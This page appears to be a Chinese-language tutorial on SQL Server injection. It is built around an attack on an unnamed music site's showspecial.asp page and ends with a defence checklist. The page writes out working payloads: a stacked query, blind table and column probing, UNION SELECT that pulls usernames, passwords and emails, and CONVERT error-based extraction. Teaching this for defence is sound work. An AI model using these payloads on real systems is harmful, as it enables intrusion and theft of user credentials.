首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 深度探討:從漏洞發現到結構猜解與資料竊取全流程

     編輯:關於SqlServer

實戰案例背景

某音樂網站 showspecial.asp?Specialid=1817 參數未過濾單引號與分號,觸發 SQL Server 錯誤訊息洩露資料庫型別。

階段一:漏洞確認與基本利用

  1. Specialid=1817' → 未閉合引號錯誤,確認注入點。
  2. Specialid=1817; → 頁面正常,分號未被過濾,可堆疊查詢。
  3. Specialid=1817; USE master;-- → 多步驟 OLE DB 錯誤,無法切換資料庫 (權限不足)。

階段二:盲注猜解資料庫結構

利用 AND 1<>(SELECT COUNT(*) FROM [table]) 判斷表/欄位存在性:

  • 表不存在 → 80040e37 物件名稱無效
  • 欄位不存在 → 80040e14 資料行名稱無效

猜解策略:

  1. 常見表名:user, users, admin, member, news, article
  2. 常見欄位:id, username, password, email, title, content
  3. 參考前端表單 name 屬性 (如 <input name=username>) 推測欄位名。

實測成功確認 user 表與 id, username, email 欄位存在。

階段三:建立注入平台

  1. 網站註冊帳號 rrrrr,取得 id=103534。
  2. 後續注入以此帳號為基準提取資料。

階段四:資料提取技術 (UNION 聯合查詢)

前提:原查詢欄位數、型別需匹配。常用技巧:

  • ORDER BY n 判斷欄位數。
  • UNION SELECT NULL, NULL, 'test' FROM user 確認可顯示位置。
  • UNION SELECT username, password, email FROM user 直接竊取認證資料。

進階:錯誤訊息型注入

利用型別轉換錯誤將資料顯示於錯誤訊息中:

Specialid=1817 AND 1=CONVERT(INT, (SELECT TOP 1 username FROM user))
-- 錯誤訊息將包含第一個 username 值

防禦總結

  1. 參數化查詢:所有動態 SQL 必須使用參數,杜絕字串拼接。
  2. 最小權限:Web 應用布號僅擁有必要資料表的 SELECT/INSERT/UPDATE/DELETE,無 sysadmin、db_owner、xp_cmdshell 權限。
  3. 錯誤訊息隱藏:生產環境關閉詳細錯誤 (customErrors mode="On"),避免洩露結構資訊。
  4. 輸入驗證:白名單驗證數值型參數 (如 Specialid 必須為整數)。
  5. WAF/IDS:部署規則檢測常見注入特徵 (UNION SELECT, --, ;, xp_ 等)。
  6. 定期代碼審計與滲透測試:建立 SDL 流程。

結語

SQL Injection 根因是「資料當指令」。參數化查詢徹底區隔程式碼與資料,配合最小權限與錯誤隱藏,可將風險降至最低。猜解結構雖可行但效率極低,攻擊者更傾向自動化工具 (sqlmap 等) 配合 UNION/錯誤/盲注技術。防禦重點在源頭:寫程式時就用參數化。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved